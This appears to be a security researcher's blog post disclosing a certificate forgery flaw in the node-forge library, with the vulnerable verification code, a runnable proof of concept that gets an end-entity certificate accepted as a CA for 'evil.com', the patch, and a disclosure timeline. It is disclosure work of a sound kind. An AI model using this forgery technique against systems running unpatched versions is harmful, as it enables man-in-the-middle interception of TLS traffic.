doruk.ch
· 8 min read

how i found a certificate forgery vulnerability in node-forge (32M weekly downloads)

CVE-2026-33896 — a critical certificate chain verification bypass in node-forge that allows any end-entity certificate holder to forge certificates for arbitrary domains. 32M+ weekly npm downloads affected.

securitycvedisclosurenodejsopensource

node-forge PoC output

what is node-forge? node-forge is one of the most widely used cryptography libraries in the Node.js ecosystem, with over 32 million weekly downloads on npm. it provides implementations of TLS, PKI, X.509 certificates, RSA, AES, and more — all in pure JavaScript.

how i found this

i was doing a systematic security audit of popular npm packages in early march 2026. i had already found vulnerabilities in mysql2, jsPDF, and Uptime Kuma/LiquidJS, so i decided to look at something more foundational — cryptographic libraries.

node-forge caught my attention because of its massive download count and the fact that it implements certificate chain verification from scratch in JavaScript. any deviation from the RFC specifications could have serious consequences.

i started reading through lib/x509.js, specifically the verifyCertificateChain() function, and immediately noticed something concerning in step 8 — the CA validation logic.

the vulnerability: missing basicConstraints enforcement

RFC 5280 Section 4.2.1.9 is very clear:

if the basic constraints extension is not present in a version 3 certificate, or the extension is present but the cA boolean is not asserted, then the certified public key MUST NOT be used to verify certificate signatures.

the key word is MUST NOT. this isn't optional.

here's what node-forge's verifyCertificateChain() actually does in step 8:

var bcExt = cert.getExtension('basicConstraints');
var keyUsageExt = cert.getExtension('keyUsage');

if(keyUsageExt !== null) {
  // only checks if keyUsage is present
  if(!keyUsageExt.keyCertSign || bcExt === null) {
    error = { ... };
  }
}

if(error === null && bcExt !== null && !bcExt.cA) {
  // only checks cA if basicConstraints is present
  error = { ... };
}

both checks are conditional on the extension being present. when a certificate has neither basicConstraints nor keyUsage — which is completely normal for end-entity certificates — both checks are skipped entirely, and the certificate is silently accepted as a valid intermediate CA.

the attack

the attack is straightforward:

  1. an attacker obtains any valid end-entity certificate from a trusted CA (a cheap DV certificate for their own domain works perfectly — these typically don't include basicConstraints or keyUsage extensions)
  2. the attacker uses their certificate's private key to sign a new certificate for evil.com
  3. any TLS client using node-forge for certificate chain verification accepts the forged chain: evil.com → attacker_cert → trusted_CA

that's it. any end-entity certificate becomes a CA.

proof of concept

const forge = require('node-forge');
const pki = forge.pki;

// step 1: create a trusted root CA
const caKeys = pki.rsa.generateKeyPair(2048);
const caCert = pki.createCertificate();
caCert.publicKey = caKeys.publicKey;
caCert.serialNumber = '01';
caCert.validity.notBefore = new Date();
caCert.validity.notAfter = new Date();
caCert.validity.notAfter.setFullYear(
  caCert.validity.notBefore.getFullYear() + 10
);
caCert.setSubject([{ name: 'commonName', value: 'Trusted Root CA' }]);
caCert.setIssuer([{ name: 'commonName', value: 'Trusted Root CA' }]);
caCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true },
]);
caCert.sign(caKeys.privateKey, forge.md.sha256.create());

// step 2: CA issues end-entity cert to "alice" (no basicConstraints)
const aliceKeys = pki.rsa.generateKeyPair(2048);
const aliceCert = pki.createCertificate();
aliceCert.publicKey = aliceKeys.publicKey;
aliceCert.serialNumber = '02';
aliceCert.validity.notBefore = new Date();
aliceCert.validity.notAfter = new Date();
aliceCert.validity.notAfter.setFullYear(
  aliceCert.validity.notBefore.getFullYear() + 2
);
aliceCert.setSubject([{ name: 'commonName', value: 'Alice User' }]);
aliceCert.setIssuer([{ name: 'commonName', value: 'Trusted Root CA' }]);
// no basicConstraints, no keyUsage — normal for EE certs
aliceCert.sign(caKeys.privateKey, forge.md.sha256.create());

// step 3: alice forges a certificate for evil.com
const evilKeys = pki.rsa.generateKeyPair(2048);
const evilCert = pki.createCertificate();
evilCert.publicKey = evilKeys.publicKey;
evilCert.serialNumber = '03';
evilCert.validity.notBefore = new Date();
evilCert.validity.notAfter = new Date();
evilCert.validity.notAfter.setFullYear(
  evilCert.validity.notBefore.getFullYear() + 1
);
evilCert.setSubject([{ name: 'commonName', value: 'evil.com' }]);
evilCert.setIssuer([{ name: 'commonName', value: 'Alice User' }]);
evilCert.sign(aliceKeys.privateKey, forge.md.sha256.create());

// step 4: verify the forged chain — this should fail, but doesn't
const caStore = pki.createCaStore([caCert]);
const verified = pki.verifyCertificateChain(caStore, [evilCert, aliceCert]);

console.log('chain verified:', verified); // true — vulnerability confirmed

running this outputs chain verified: true. an end-entity certificate without basicConstraints was accepted as a valid intermediate CA, allowing certificate forgery for any domain.

as a sanity check: when basicConstraints is present with cA: false, node-forge does correctly reject the chain. the bug is specifically in the absence of the extension.

bonus: pathLenConstraint bypass

while auditing the same function, i found a second issue. the pathLenConstraint in basicConstraints limits how many intermediate CAs can appear below a given CA. a value of 0 means the CA can only issue end-entity certificates directly — no intermediates allowed.

node-forge never checks pathLenConstraint on trust anchor certificates from the CA store. they're looked up but never passed through step 8. a root CA with pathLenConstraint=0 can have unauthorized intermediate CAs inserted into chains.

additionally, the pathLenConstraint check for intermediate certs is gated behind keyUsageExt !== null — so an intermediate with basicConstraints { cA: true, pathLenConstraint: 0 } but no keyUsage will have its path length constraint silently ignored.

also found: asn1.validate() accepts extra children

asn1.validate() doesn't check that ASN.1 objects contain only the expected number of children. a SEQUENCE with extra children beyond the schema specification validates successfully, with extras silently ignored. this weakens defense-in-depth for DigestInfo validation in PKCS#1 v1.5 signature verification.

the fix

the maintainer published the fix and the advisory was released as GHSA-2328-f5f3-gj25 with CVE-2026-33896.

the core fix is straightforward — always require basicConstraints with cA=true for non-leaf certificates:

if (error === null && (bcExt === null || !bcExt.cA)) {
  error = {
    message:
      'Certificate basicConstraints missing or does not ' +
      'indicate the certificate is a CA.',
    error: pki.certificateError.bad_certificate,
  };
}

upgrade to v1.4.0:

npm install node-forge@latest

severity & references

severity: High (CVSS 7.4) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE: CWE-295 (Improper Certificate Validation)

references:

timeline

date event
2026-03-09 vulnerability discovered during npm audit
2026-03-09 PoCs created for all three findings
2026-03-10 report submitted via GitHub Security Advisory
2026-03-10 90-day coordinated disclosure deadline set (2026-06-08)
2026-03-17 maintainer accepted the report
2026-03-17 temporary private fork created for fix
2026-03-24 CVE-2026-33896 assigned by GitHub
2026-03-24 GHSA-2328-f5f3-gj25 published, fix released in v1.4.0
2026-03-26 advisory goes public on GitHub
2026-03-27 200+ automated security issues filed across the ecosystem

the aftermath: waking up to 94 emails

two days after the advisory went public, i woke up to this:

my inbox the morning after the CVE dropped

94 GitHub notifications. every single one from mend-bolt-for-github[bot], filing security issues on repos across the entire npm ecosystem that depend on vulnerable versions of node-forge. each one crediting me as the discoverer. it hasn't stopped — new issues keep rolling in as automated scanners pick it up.

here's the blast radius so far:

  • 33 million weekly npm downloads affected
  • 1.3 billion yearly downloads
  • ~4,000 npm packages depend directly on node-forge
  • 200+ GitHub repos had security issues filed within 24 hours
  • every project using webpack-dev-server with HTTPS is transitively affected (via selfsignednode-forge)

some of the biggest projects in the JavaScript ecosystem are in the dependency tree:

stars repo how affected
125k facebook/react-native transitive (dev tooling)
120k electron/electron transitive
103k facebook/create-react-app via webpack-dev-server → selfsigned → node-forge
79k vitejs/vite HTTPS dev server
27k angular/angular-cli dev server SSL
21k elastic/kibana transitive
14k http-party/node-http-proxy transitive
12k BrowserSync/browser-sync transitive
11k chimurai/http-proxy-middleware transitive
7.8k webpack/webpack-dev-server direct dep via selfsigned
1.8k googleapis/google-auth-library-nodejs direct dep
1.7k firebase/firebase-admin-node direct dep

the vulnerability sits deep in the supply chain — most projects don't even know they depend on node-forge.

the same vulnerability class has appeared in major TLS implementations before: CVE-2014-0092 in GnuTLS, CVE-2015-1793 in OpenSSL, and the infamous CVE-2020-0601 "CurveBall" in Windows CryptoAPI. finding it in a library with a billion yearly downloads was surreal.

what i took away from this

the scariest part about this vulnerability is how fundamental it is. this isn't some edge case in an obscure feature — it's the core certificate chain verification logic. the thing that's supposed to prevent MITM attacks.

the root cause is a classic conditional logic bug: checking a property only when its container is present, rather than treating absence as a failure condition. RFC 5280 uses "MUST NOT" for a reason — the default should be rejection, not acceptance.

also worth noting: node-forge has had previous certificate verification issues (CVE-2025-12816, CVE-2025-66031). if you're doing certificate verification in a security-critical context, consider whether a pure-JavaScript implementation is the right choice, or whether you should delegate to the platform's native TLS stack.

32 million weekly downloads. one conditional check. that's all it takes.


reported by doruk tan ozturk — full PoC available in the GitHub advisory.

On this page